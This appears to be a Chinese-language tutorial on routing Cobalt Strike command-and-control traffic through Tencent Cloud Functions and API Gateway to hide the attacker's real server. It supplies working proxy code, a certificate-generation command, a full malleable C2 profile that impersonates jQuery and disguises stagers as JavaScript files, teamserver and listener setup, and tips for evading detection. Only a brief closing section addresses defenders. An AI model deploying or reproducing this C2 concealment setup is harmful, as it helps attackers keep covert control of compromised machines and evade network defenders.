云函数隐藏C2爬坑记
字数 1434 2025-08-29 08:30:36
云函数隐藏C2技术实现指南
一、技术原理概述
云函数隐藏C2的核心原理是通过腾讯云函数作为中间代理,实现攻击者真实C2服务器的隐藏:
- 受害者主机 -> 腾讯云API网关 -> 云函数(Python脚本) -> 真实C2服务器
- 所有通信流量在受害者看来都是与腾讯云官方地址进行的,有效隐藏了真实C2服务器IP
二、环境准备
1. 腾讯云函数配置
- 登录腾讯云控制台,进入"云函数"服务
- 选择"函数服务"->"函数管理"->"新建"->"自定义创建"
2. Cobalt Strike环境
- 准备Cobalt Strike 4.3版本服务器
- 准备可用的VPS作为C2服务器
三、详细实施步骤
1. 云函数代码部署
# -*- coding: utf8 -*-
import json, requests, base64
def main_handler(event, context):
C2 = 'http://<C2服务器地址>' # 根据实际使用HTTP/HTTPS填写
path = event['path']
headers = event['headers']
print(event)
if event['httpMethod'] == 'GET':
resp = requests.get(C2+path, headers=headers, verify=False)
else:
resp = requests.post(C2+path, data=event['body'], headers=headers, verify=False)
print(resp.headers)
print(resp.content)
response = {
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
关键点说明:
C2变量必须与后续CS profile配置一致- 代码实现了请求转发和响应返回的完整代理功能
- 所有通信内容都经过Base64编码
2. 触发器配置
- 部署完代码后,进入"触发器管理"
- 创建API网关触发器
- 关键配置项:
- 路径设置为
/ - 发布环境选择"发布"
- 路径设置为
- 测试API地址,确认云函数日志中有请求记录
3. Cobalt Strike证书生成
keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
参数说明:
-storepass和-keypass设置证书密码(后续profile中需要使用)-alias设置证书别名-dname设置证书详细信息(可自定义)
4. Cobalt Strike Profile配置
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate {
set keystore "cobaltStrike.store";
set password "Mm0000..";
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get {
set uri "/api/getit";
client {
header "Accept";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
关键配置说明:
-
URI配置:
http-get和http-post的uri必须与云函数代码中的路径对应- 示例中使用
/api/getit和/api/postit
-
通信编码:
- 所有通信数据都使用Base64编码
- 确保云函数和CS profile的编码方式一致
-
HTTP头配置:
- 配置了合法的Content-Type和其他头信息
- 模拟正常Web服务的响应特征
-
证书配置:
- 指向之前生成的
cobaltStrike.store文件 - 密码必须与生成证书时设置的密码一致
- 指向之前生成的
5. 启动Cobalt Strike服务器
./teamserver <vpsip> <password> c2.profile
注意事项:
- 将证书文件和profile文件放在同一目录
- 确保服务器防火墙放行相应端口
6. 创建监听器
- 在Cobalt Strike客户端创建新的监听器
- 关键配置:
- 只能选择80(HTTP)或443(HTTPS)端口
- 监听类型必须与云函数中配置的C2地址协议一致
- 监听地址填写云函数API网关地址
四、测试与验证
- 生成Payload并执行
- 观察云函数日志,确认有流量通过
- 在Cobalt Strike的Web日志中查看请求记录
- 确认上线情况
常见问题排查:
- 如果无法上线,检查:
- 云函数日志是否有请求记录
- CS服务器日志是否有错误
- 协议和端口配置是否一致
- 证书密码是否正确
五、技术要点总结
-
隐蔽性优势:
- 所有通信都通过腾讯云官方地址进行
- 有效隐藏真实C2服务器IP
- 可利用腾讯云的CDN基础设施
-
配置关键点:
- 云函数代码中的C2地址必须真实有效
- CS profile的URI配置必须与代码匹配
- 通信编码方式必须一致(Base64)
- 监听器端口只能使用80/443
-
扩展应用:
- 可结合域名伪装进一步增强隐蔽性
- 可配置多个云函数实现负载均衡
- 可修改User-Agent等特征规避检测
六、防御建议
对于防御方,检测此类攻击可关注:
- 异常访问腾讯云API地址的行为
- Base64编码的异常通信内容
- 不匹配的HTTP头信息
- 可疑的证书信息